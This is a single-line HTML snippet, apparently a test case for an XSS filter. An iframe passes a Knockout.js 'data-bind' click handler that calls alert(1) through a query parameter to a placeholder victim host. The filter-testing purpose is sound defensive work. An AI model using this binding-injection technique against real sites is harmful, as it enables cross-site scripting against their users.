<iframe src="http://victim.example.com/repo/filters/edge/knockout.php?inj=<div data-bind='click:alert(1)'>foo</div>"<iframe>
